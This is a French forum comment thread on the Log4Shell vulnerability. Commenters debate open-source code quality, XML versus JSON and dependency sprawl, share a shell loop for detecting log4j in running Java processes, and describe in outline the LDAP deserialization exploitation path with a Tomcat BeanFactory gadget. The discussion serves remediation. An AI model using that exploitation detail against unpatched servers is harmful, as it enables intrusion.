Je suis souvent confronté à des codes ou rapidement tu vois les bugs à l’œil nu dans le code, il faut un certain temps pour prendre la décision entre rustiner ou refaire à zéro.
Le critère de décision majeur est le temps (en réécrivant tu as les idées claires sur le temps de coder /tester), en patchant tu y vas à tâtons et espère ne pas trop itérer au risque d’y passer plus de temps pour un code in maintenable, car tout rafistoler.
Le 14/12/2021 à 07h39
Certes ! Mais comme le dit Krystanos ça n’est pas un gage de qualité :) Tu peux avoir un code dégueulasse (ou bon) en closed ou open source. Le fait qu’on puisse le lire est un plus, mais ne joue pas sur la qualité de celui-ci.
On pourrait aussi argumenter que nombre de soucis de libraires sont corrigés pas les ingénieurs qui lisent le code le copie et le patch, mais pas toujours republier dans le code source d’origine. C’est un peu ce qui se passe dans les distributions linux, certains paquets sont patchés par gentoo, debian, redhat… et le patch qui pourrait être bénéfique n’est pas toujours remonter dans l’upstream pour que tout le monde en profite.
J’ai toujours un peu de mal avec l’association n’évolue plus = obsolète. A partir d’un moment un parser XML est stable : Le xml n’est pas un format évolutif, une fois tout gérer correctement sans bugs il n’y’a plus de raisons d’évoluer.
Ensuite la vraie question est ça n’évolue plus, car c’est un code parfait à zéro bug, ou il n’y’a plus de mainteneurs :-/
Le 14/12/2021 à 08h43
Principe KISS
Nous sommes tous humains, nous faisons tous des erreurs !
Le 14/12/2021 à 10h02
Dans des systèmes très complexes, même le plus payés des dev peut faire une petite erreur qui a des conséquences énorme.
Le vrai problème c’est qu’il faudrait un badge avec le % de code audité, maintenu pour chaque framework utilisé.
Le 14/12/2021 à 12h04
Y a un moyen de savoir si on est vulnérable ?
Le 14/12/2021 à 13h25
Il me semble que tu poses une question pour laquelle aucune généralisation possible parce que ça dépend trop du contexte, aussi bien en tant que personnel que les objectifs de l’utilisation de telle ou telle solution.
Pour essayer de te répondre “en général”, en effet si je dirigeais une équipe en charge de choisir un logicie pour se l’approprier, et que je savais que l’équipe est assez expérimentée pour évaluer elle-même (et bien entendu qu’on lui accorde le temps de l’analyse, ce qui est jamais évident xd) je laisserais l’équipe gérer.
Après je vois pas mal de facteurs pouvant mener à un audit externe, en sus ou en remplacement.
Tu peux rajouter à ça la difficulté de travailler directement en bonne entente avec les développeurs communautaires des logiciels. Non pas de leur fait, hein (bien qu’il y en a certainement une poignée difficiles à vivre
) mais parce que l’approche de collaboration que ça induit est encore très, très compliquée à faire comprendre et accepter en entreprise (pour beaucoup de mauvaises, mais aussi quelques bonnes, raisons).
=> De ma maigre expérience, souvent même si sur le long terme il serait vraiment rentable de vraiment investir dans la formation des internes et “l’apprentissage” d’un outil il est préféré la solution “formation minimale + études externes + prestataires” parce que t’as des résultats plus vite pour un coût immédiat moindre, et surtout quelqu’un d’externe sur qui taper en cas de souci (même si par ailleurs, en vrai, légalement tu as rarement des recours en cas de malfaçon sauf à vraiment avoir un rapport de force ultra-déséquilibré au moment de concevoir le contrat).
Le 14/12/2021 à 13h27
Voire même des formations en sécurité à destination desdits développeurs, histoire de lutter contre la cause plutôt que les effets. :)
Pas mieux, rien compris (j’ai sans doute pas la référence technique)
Je suis pas sûr d’avoir pigé ce que tu (sous-)entendais par là : que la manière dont taffent les ESN fait que toute durabilité au-delà de 6 mois est un heureux coup du sort ? Ou (ce qui est largemnet
Le 14/12/2021 à 13h36
Sur ce point particulier, si du moins j’entends ton propos correctement (à savoir parler du XML utilisé comme format de transmission / validation de structures de données) j’oserais même dire que c’est une feature, et une bonne, que ça devienne figé dans le temps (modif = nouvelle “version du standard métier”).
Ça permet d’avoir un langage de communication clair et stable aussi bien pour les hommes que pour les machines. Et du coup effectivement le “parsing” en soi ne change pas, c’est le traitement des balises définies qui change, bonne séparation de responsabilité.
(Bien pour ça d’ailleurs que je conchie le json : sympa pour des protos à la pisse, des transferts de mini-quantités de données faiblement structurées ou de la com “en interne” dans une app à la limite, mais au delà quelle daube illisible au possible).
Le 14/12/2021 à 14h00
Oui il suffit de lancer cette commande sur tes serveurs pour savoir si la version de log4j vulnérable tourne :
for pid in \((pidof java);do cat /proc/\)pid/cmdline|xargs -0 && cat /proc/$pid/maps |grep log4j;done
Ensuite pour la rémediation il existe plusieurs méthodes ( un lien pris sur google au hasard : https://www.geekyhacker.com/2021/12/11/three-ways-to-patch-log4shell-cve-2021-44228-vulnerability/ )
Quant à la vulnérabilité fait attention, il y’a deux méthodes pour l’exploiter comme je l’ai dit dans un commentaire précédant:
Cette deuxième méthode est la plus impactante du fait que tout les jdk sont impactés et qu’ils utilisent une vuln de deserialization d’objet java arbitraire directement depuis la réponse du LDAP. Pour le moment quelques chemins ont été trouvés, notamment sur Websphere et Tomcat, mais dans les semaines à venir nous risquons d’avoir de nouveaux gadgets, il est important de patcher le plus vite possible.
( pour un exemple de deserialisation d’obj native sur Tomcat avec l’objet org.apache.naming.factory.BeanFactory je t’invite à regarder le blog post de veracode sur les injections jndi qui en parle https://www.veracode.com/blog/research/exploiting-jndi-injections-java )
Le 14/12/2021 à 15h26
mec t’assures
j’étais à quasi 100% sur de ne pas utiliser ce composant mais quand j’ai vu les tentative d’accès sur les log d’apache le presque sur n’était plus suffisant.
merci pour la commande.
Le 14/12/2021 à 15h00
Donc si on n’est pas d’accord avec toi on est un troll ? Ça va les chevilles ?
Que le code soit lisible n’est absolument ni une garantie qu’il soit relu, ni une garanti qu’il soit de qualité, ou sécurisé.
C’est hors sujet. Que le code closed source ait des problèmes ne permet absolument pas de dire que le code opensource est de qualité et sécurisé. C’est un faux argument.
Non, ce n’est pas ce que j’ai dit. Tu interprètes faussement mon propos, et en plus c’est de ma faute.
Il faut comprendre que l’opensource est accessible à tous, et donc à des développeurs de tous les niveaux. Croire que tous les développeurs opensource sont de compétence élevée est une erreur et un non sens. C’est un état des lieux, logique, et pas une critique. Y’a pas de raison que ce soit comme ça partout sauf dans l’opensource.
Quant au reste, je ne vois pas la peine de répondre. Je parle opensource, tu me réponds closed source, ce qui est complètement non pertinent.
Le 14/12/2021 à 18h04
L’impression globale est surtout que ça met en lumière l’abus de dépendances dans les différentes applications sans réelle compréhension de leur usage/origine par les différents développeurs.
Combien de devs ont compris/réalisés qu’ils utilisaient a un moment log4j ?
Combien de responsables applicatif dans les entreprises ont compris qu’une application xyz utilisait a un moment log4j ?
L’énorme difficulté de cette vuln est le fait qu’elle provienne d’une dépendance profonde souvent non connue/perçue.
C’est plus ça le fond du pb révélateur que l’investissement dans le libre ou pas.
Le 14/12/2021 à 19h36
Quand j’ai fait le tour des développeurs des applications métier du client, j’ai eu droit à des retours unanimes disant qu’ils ne sont pas impactés.
Pour cause, ils utilisent encore la 1.x …. Qui n’est plus supportée depuis 2015.
Ca fait chier de se sentir seul quand on milite pour avoir des stack logicielles à jour.
Le 14/12/2021 à 22h25
Fastoche c’est des maths… c’est pas si faux.
A supposer strictement l’inverse (failles en open), la probabilité de rencontrer une faille est d’autant plus faible que sa période d’existence est longue…
Les problèmes c’est qu’avec un nombre de versions suivant des rythmes de sortie courts (closed ou non) une part de tout interval vaut une infime faille. De là multiplier les versions multiplie les failles et la somme des durées valide le bayes.
Le 14/12/2021 à 23h25
“Updates are overrated” (says me in an 16.04 Ubuntu
)
Le 15/12/2021 à 09h43
Et encore, Canonical a depuis étendu le support des LTS à 10 ans, et de ce fait ils ont étendu la 14.04 et 16.04 à 2024. :)
Le 15/12/2021 à 07h22
HS mais moi c’est l’inverse XML est un langage illisible beaucoup trop verbeux. JSON au contraire enlève tout l’inutile et est beaucoup plus lisible. (Un tableau en XML c’est illisible, en JSON c’est naturel :) ). Dernier avantage du JSON c’est simple et donc plus vert : moins de data qui transite, moins de puissance de calcul pour le parser dans un sens ou dans l’autre, et enfin c’est beaucoup plus évolutif : tu ajoutes un champ côté serveur, le client ne s’en rend même pas compte, c’est totalement transparent de son côté.
Le 15/12/2021 à 08h34
Je suis d’accord pour le côté “lisibilité par un humain”, mais il y a quand même quelques limites au JSON qui font que j’utilise encore souvent le XML comme Citan666.
Par exemple de mémoire pour la gestion des dictionnaire la clé doit obligatoirement être un type “simple” (càd convertible en string). Si ta clé est un object, JSON se vautre là ou XML parse correctement l’object dans le champ du dico.
Le côté verbeux à parfois ses avantages
Le 15/12/2021 à 08h21
TO DO :
je conjugue les verbes ;)
ou je passe par un site qui m’aide https://bescherelle.com/conjugueur.php
Le 15/12/2021 à 09h47
C’est sûr que si tu prends l’exemple d’un tableau à un niveau… xd
Mais c’est marrant comme on a une vision différente.
Pour moi le JSON est illisible à cause de la syntaxe de “nesting” uniquement à base de crochets et accolades tandis que le XML chaque balise “porte” directement son information métier (et dans un éditeur texte avec “calcul automatique des replis” c’est facile de n’afficher que ce qui intéresse).
Surtout, le XML c’est balisé dans la manière dont tu le transmets et tu communiques sur le format à respecter avec le DTD.
Si quelqu’un le respecte pas, tu l’envoies chier, point. Ça assure d’éviter beaucoup de complications parce que quelqu’un décide à la volée de changer la structure de données parce que ça l’arrange.
Pour le dire autrement, un changement de spec doit être formalisé, quand tes données sont exploitées par plein de gens c’est vraiment une sécurité je trouve.
Par ailleurs, “le JSON c’est simple” c’est vraiment un argument vide : tout dépend de ce que tu y mets. ^^
Cela dit, tant mieux si d’autres apprécient le JSON pour d’autres raisons que l’appel de la facilité.
Moi qui croyais être un rebelle…
Cela dit de toute façon je vais devoir installer un Linux récent sur ma bécane de 2012 parce que même si le support est assuré, on sent les limites sur les paquets dispos (pas de PHP 7 ou 8, pas de pilotes pour systèmes de fichiers non-Linux récents, noyau Linux assez vieux etc…)
Le 15/12/2021 à 09h53
La seule mention à %m{nolookups} dans la documentation officielle c’est pour dire que ca a été désactivé en 2.16.0. Il n’y a même pas une phrase pour dire que cette option existait, et encore moins pour dire que %m faisait des lookup par défaut:
Comment est-on censé savoir que %m fait des lookups par défaut quand ce n’est pas dit dans la documentation ?
Le 15/12/2021 à 11h48
J’ai l’impression de lire strictement l’inverse ici : https://logging.apache.org/log4j/2.x/manual/configuration.html#EnablingMessagePatternLookups
Le 15/12/2021 à 12h33
Les LTS sont très vite handicapantes en effet avec les versions de logiciels natives de la distro qui remontent à l’Atlantide.
Perso je suis sur Fedora pour le Desktop donc je n’ai plus ce souci (j’étais comme toi avant, je sautais de LTS en LTS sur Ubuntu), mais sur mes serveurs perso j’étais en CentOS 7, et désormais Rocky Linux 8. Et pour compenser les écarts de version (Nextcloud a été bien relou à arrêter le support de versions PHP dispo dans les distros LTS), Podman à la rescousse.
Rien à voir, pour retourner au sujet de l’article, j’ai constaté dans mes logs Apache des requêtes pour tenter d’exploiter la faille avec le pattern jndi. Bon, ça ira pas bien loin, mon site perso étant un blog généré par Hugo…
Le 15/12/2021 à 12h44
Bah oui, c’est tout le problème !
D’après l’URL, cette documentation est celle de la “2.x” (URL= ../log4j/2.x/manual ).
En toute bonne foi, si tu utilises la 2.14 ou 2.15 et que tu vas lire cette documentation “2.x”, tu penses que le lookup est désactivé par défaut pour toutes les versions 2.x.
Mais en réalité cette documentation est applicable seulement à la 2.16, version dans laquelle le lookup a été désactivé par défaut. C’est extrêmement trompeur.
Le 15/12/2021 à 15h23
Je viens de me rendre compte qu’un numéro de version est mentionné en haut de la page :
Ensuite, dans la liste de gauche, à mi-hauteur, il y a une section LEGACY SITES avec des liens vers des documentations spécifiques :
Et dans la version 2.12, le paragraphe Enabling Message Pattern Lookups situé entre Default Properites et Lookup Variables with Multiple Leading ‘$’ Characters n’existait pas.
Le 15/12/2021 à 12h56
si je comprends bien, des services qui ont été coupé fin de semaine dernière sont en train de mettre a jour leur code.
Il y a facebook et leur base d’ancien jeu oculus s qui ne sont plus téléchargeables,
Mais facebook/oculus explique rien sur ce blocage
Le 15/12/2021 à 14h41
Je comprend pas trop le procès de l’Open Source. Justement, si il est ouvert, tout le monde peux y contribuer ou le corriger.
Le vrais problème c’est les programmes propriétaire, non maintenu et qui font tout bugger. Et là…ben on peux rien faire.
Le 15/12/2021 à 14h48
Je ne vois pas le rapport, et quand bien même. La qualité d’un code opensource est intrinsèque.
Le 15/12/2021 à 15h18
C’est pourquoi ta réponse est un non-sens statistique car :
Tu programmes sauf dans l’open source alors que tes remarques sont sur les sources totales ?
Tu programmes ?
Le 15/12/2021 à 15h33
Je me répète:
Question: “Avant la semaine dernière, comment savait-on que Log4j 2.13, 2.14 et 2.15 avaient le lookup activé par défaut sur le pattern %m ?”
Réponse: “La seule mention de {nolookups} se trouve sur la page layouts.html qui dit que c’est supprimé depuis la 2.16. On peut donc en déduire qu’avant la 2.16 c’était pas supprimé, donc que c’était présent. Mais nulle part c’est marqué que c’était activé par défaut !”
Le 16/12/2021 à 01h44
D’abord netbios, puis RUDY, puis Log4Shell … et avec 5-10 ans d’avance, franchement mare d’avoir parfois autant d’avance mais de rester dans l’ombre, tout ça pour des brèches qui sont tellement élémentaires… mais bon.. quelle blague de voir ensuite des annonces pareilles.
Le 16/12/2021 à 08h22
Le XML ne l’est jamais peu importe ce que t’y mets :)
Le 17/12/2021 à 22h48
Hahaha joli
Le 16/12/2021 à 08h46
Oui, et oui, et depuis plus de 20 ans. Mais encore une fois c’est non pertinent, c’est un argument d’autorité.
Ta formule n’a aucun sens en réponse à mon commentaire, tu n’explique en rien pourquoi mon point est un non sens statistique (d’ailleurs, je ne parle pas de statistique), on ne sait même pas de quoi tu parles et en quoi ça prouve que l’opensource est de qualité parce que le closedsource ne l’est pas (hypothèse qui est déjà bancale, il y a de la qualité dans les deux cas, sauf que dans les premier cas, ça peut être prouvé, moins dans le second).
Une formule de math fonctionne dans un cadre précis, si tu sors du cadre, ça ne fonctionne plus, il convient donc d’expliquer aussi pourquoi ta formule est valide dans le cadre ici, et de quoi tu parles.
On parle d’opensource, et toi tu parles du nombre de releases, ce que je n’ai absolument pas abordé.
Donc développe ta pensée s’il te plait, et là on pourra discuter :)
Le 16/12/2021 à 11h25
L’open-source est tout simplement implicitement plus “exposé” car justement son code est ouvert.
La sécurité “par le secret” des source fermée reste toujours assez inefficace à terme.
Peut-être que vous vous rappelez comment Kevin Mitnick a fait ses plus beau hack ? Ben en s’arrangeant pour voler les “closed sources” à des compagnies et d’y trouver tout autant de failles marrantes.
Mais le pire aujourd’hui, c’est que l’écrasante majorité des développeurs, le sont par “concept”.
“hoo regarde mon joli diagramme de flux”
Du coup les projets finis sont souvent un LEGO géant avec des briques open prises à gauche et à droite.. dont certaines sont complètement “out of date” sur leur sécurité car parfois créées dans un contexte ancien, où la sécurité était considérée comme moins critique. Ou bien encore plus drôle, des cohabitations de briques qui oblige parfois à faire des concessions de sécurité pour qu’elles fonctionnent entre elles -> et hop le Projet est livré comme ça, et hop la CVE.
Donc voilà, au final, source ouverte ou fermée, même combat : le design et le code doivent être sécurisés à la base, mais ça demande beaucoup de temps pour tout auditer et beaucoup d’expertise. Et plus le temps passe, plus c’est compliqué d’en trouver :(
Le 16/12/2021 à 11h48
Bien d’accord avec toi.
Ça m’étonne cette conception moderne qui voudrait qu’un logiciel évolue en permanence et qu’il faudrait des mises à jour. Il y a fort heureusement du code sans bug, ou bien sans bug gênant.
En plus quand on a connu les ordinateurs sans mise à jour (et qui fonctionnaient parfaitement)…
PS : d’ailleurs ça me saoule de voir tout le temps des propositions de mise à jour d’appli, sur mobile, ou bien de mise à jour côté ordinateur. Sauf grave problème de sécurité (finalement peu fréquent), j’ai arrêté de cliquer sur “mettre à jour”.
Le 16/12/2021 à 23h10
si ça interesse:
https://intelligencecommunitynews.com/ic-insiders-log4shell-by-the-numbers-why-did-cve-2021-44228-set-the-internet-on-fire/
Le 17/12/2021 à 16h14
Allez, je jette un gros pavé dans la mare… Pour moi ce que cette histoire met en lumière deux choses :
Premièrement c’est qu’aucun système n’est “intrinsèquement sûr” contrairement à ce qu’affirment de trop nombreux aficionados des systèmes open-source sous Linux en particulier et qui du coup négligent la sécurité et les mises à jour. C’est ça qu’il faut retenir, aucun système n’est parfait, fut-il open-source. Le côté c’est sûr parce que c’est open-source et du coup forcément revu par les pairs c’est pas systématique. Les bugs, malwares et attaques ça existe aussi dans le monde Linux/Open-source. Certes les desktops Linux sont moins convoités par les pirates car 100 fois moins nombreux que les desktop Windows mais les serveurs Linux (en particulier Web avec Apache) sont plus susceptibles d’être attaqués. On l’a vu avec le ransomware Erebus il y a quelques temps. La sécurité “intrinsèque” c’est de la fumisterie. Les Windowsiens ont déjà l’habitude de faire gaffe alors que les intégristes de l’open-source tombent des nues on dirait.
Deuxièmement c’est la dépendance aux dépendances de beaucoup de développeurs, en particulier Web et leurs mille-feuilles de frameworks et d’API. C’est sûr que ça fait gagner du temps mais derrière combien de devs contrôlent ligne par ligne tout le code open-source qu’ils utilisent (copie-collent)? N’importe qui peut déployer un framework ou implémenter une API en 5 minutes mais combien savent réellement décortiquer et maintenir toute la pile?
Le 17/12/2021 à 19h47
On doit pas connaître les même alors, parce que j’en connais aucun qui affirme ça, bien au contraire…
Le 17/12/2021 à 20h54
Ah bon? Alors tu n’en connais aucun
Sérieusement cherches “linux intrinsèquement sûr” sur Google, et là marre-toi